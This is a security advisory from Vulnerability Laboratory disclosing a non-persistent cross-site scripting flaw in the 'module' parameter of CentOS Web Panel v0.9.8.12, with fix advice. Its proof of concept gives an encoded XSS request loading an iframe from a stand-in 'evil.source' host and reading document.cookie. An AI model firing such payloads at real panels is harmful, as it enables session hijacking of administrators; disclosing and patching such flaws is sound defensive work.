CentOS Web Panel Cross Site Scripting

CentOS Web Panel version suffers from multiple cross site scripting vulnerabilities.

MD5 | d4e1642698943201c71ed84ba0b37e4e

Document Title:
CentOS Web Panel v0.9.8.12 - Non-Persistent Cross Site Scripting Vulnerabilities

References (Source):

Release Date:

Vulnerability Laboratory ID (VL-ID):

Common Vulnerability Scoring System:

Vulnerability Class:
Cross Site Scripting - Non Persistent

Current Estimated Price:
500a! - 1.000a!

Product & Service Introduction:
CentOS Web Panel - Free Web Hosting control panel is designed for quick and easy management of (Dedicated & VPS) servers without of
need to use ssh console for every little thing. There is lot's of options and features for server management in this control panel.
CWP automatically installs full LAMP on your server (apache,php, phpmyadmin, webmail, mailservera|).

(Copy of the Homepage: http://centos-webpanel.com/features )

Abstract Advisory Information:
The vulnerability laboratory core research team discovered a client-side cross site scripting vulnerability in the CentOS Web Panel v0.9.8.12.

Vulnerability Disclosure Timeline:
2018-01-17: Public Disclosure (Vulnerability Laboratory)

Discovery Status:

Affected Product(s):
Product: CentOS Web Panel - (CWP)

Exploitation Technique:

Severity Level:

Technical Details & Description:
A client-side cross site scripting web vulnerability has been discovered in the official CentOS Web Panel v0.9.8.12.
The vulnerability allows remote attackers to inject script code to the client-side browser to application requests.

The client-side cross site web vulnerability is located in the `module` value of the `index.php` file GET method request.
The vulnerability can be exploited by remote attackers with a prepared malicious link to the centos web-panel application.
The request method to inject is GET and the attack vector is non-persistent. The injection point is the module parameter
and the execution point occurs in the module exception.

The security risk of the web vulnerability is estimated as medium with a cvss (common vulnerability scoring system) count of 3.3.
Exploitation of the non-persisten vulnerability requires no privileged web-application user account and low user interaction.
Successful exploitation of the vulnerability results in session hijacking, non-persistent phishing attacks, non-persistent
external redirects to malicious source and non-persistent manipulation of affected or connected application modules.

Request Method(s):
[+] GET

Vulnerable Module(s):
[+] index.php

Vulnerable Parameter(s):
[+] module

Proof of Concept (PoC):
The cross site scripting vulnerability can be exploited by remote attackers without privileged web-application user account and with low user interaction.
For security demonstration or to reproduce the vulnerability follow the provided information and steps below to continue.

"powered by CentOS-WebPanel.com"

PoC: Payload(s)

PoC: Exception-Handling
<div class="row">
The module clam>"<[CLIENT SIDE SCRIPT CODE PAYLOAD EXECUTION!]> does not exist.
</div><!-- End .row -->
</div><!-- End contentwrapper -->
</div><!-- End #content -->
</div><!-- End #wrapper -->

--- PoC Session Logs [POST] ---
Status: 200[OK]
GET http://localhost:2030/index.php?module=clam%3E%22%3Ciframesrc=evil.source%20onload=alert(document.cookie)%20%3C
Mime Type[text/html]
Request Header:
User-Agent[Mozilla/5.0 (Windows NT 10.0; WOW64; rv:45.0) Gecko/20100101 Firefox/45.0]
Cookie[cwpsrv-3cc0cea69668d490e1029c2a41ce5df3=8fnvi0bqgjj162mqklruu8clq5; PHPSESSID=8dsrha0ivd80kkgukvklgvmct1]
Response Header:
Server[Apache/2.2.27 (Unix) mod_ssl/2.2.27 OpenSSL/1.0.1e-fips PHP/5.4.27]
Expires[Thu, 19 Nov 1981 08:52:00 GMT]
Keep-Alive[timeout=5, max=100]


Solution - Fix & Patch:
The vulnerability can be patched by a sanitize of the vulnerable module parameters in the `index.php` file GET method request.
Disallow special chars and restrict the parameter input to prevent further client-side script code injection attacks.
Escape the output content of the error exception for invalid inputs to prevent the execution point of the client-side vulnerability.

Security Risk:
The security risk of the client-side cross site scripting web vulnerability in the centos web panel is estimated as medium (CVSS 3.3).

Credits & Authors:
Benjamn Kunz Mejri (Vulnerability Laboratory) - https://www.vulnerability-lab.com/show.php?user=Benjamin%20K.M.

Disclaimer & Information:
The information provided in this advisory is provided as it is without any warranty. Vulnerability Lab disclaims all warranties, either expressed or
implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability-Lab or its suppliers are not liable in any
case of damage, including direct, indirect, incidental, consequential loss of business profits or special damages, even if Vulnerability Labs or its
suppliers have been advised of the possibility of such damages. Some states do not allow the exclusion or limitation of liability mainly for incidental
or consequential damages so the foregoing limitation may not apply. We do not approve or encourage anybody to break any licenses, policies, deface
websites, hack into databases or trade with stolen data. We have no need for criminal activities or membership requests. We do not publish advisories
or vulnerabilities of religious-, militant- and racist- hacker/analyst/researcher groups or individuals. We do not publish trade researcher mails,
phone numbers, conversations or anything else to journalists, investigative authorities or private individuals.

Domains: www.vulnerability-lab.com - www.vulnerability-db.com - www.evolution-sec.com
Programs: vulnerability-lab.com/submit.php - vulnerability-lab.com/list-of-bug-bounty-programs.php - vulnerability-lab.com/register.php
Feeds: vulnerability-lab.com/rss/rss.php - vulnerability-lab.com/rss/rss_upcoming.php - vulnerability-lab.com/rss/rss_news.php
Social: twitter.com/vuln_lab - facebook.com/VulnerabilityLab - youtube.com/user/vulnerability0lab

Any modified copy or reproduction, including partially usages, of this file, resources or information requires authorization from Vulnerability Laboratory.
Permission to electronically redistribute this alert in its unmodified form is granted. All other rights, including the use of other media, are reserved by
Vulnerability Lab Research Team or its suppliers. All pictures, texts, advisories, source code, videos and other information on this website is trademark
of vulnerability-lab team & the specific authors or managers. To record, list, modify, use or edit our material contact (admin@) to get an ask permission.

Copyright A(c) 2018 | Vulnerability Laboratory - [Evolution Security GmbH]aC/

SERVICE: www.vulnerability-lab.com

Related Posts